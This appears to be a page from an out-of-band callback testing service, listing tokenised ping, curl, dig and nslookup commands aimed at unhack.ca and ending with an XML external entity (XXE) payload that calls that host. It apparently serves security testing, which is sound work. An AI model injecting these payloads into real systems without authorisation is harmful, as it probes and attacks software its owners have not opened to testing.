$ ping -c1 -p 00d1068f420178d9b124374712117200 unhack.ca
 

$ curl http://unhack.ca/p/d1068f420178d9b1243747121172
 

$ dig d1068f420178d9b1243747121172 @unhack.ca
 

$ dig d1068f420178d9b1243747121172.ns.unhack.ca
 

C:\> nslookup d1068f420178d9b1243747121172 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d1068f420178d9b1243747121172">]>
    <foo>&xxe;</foo>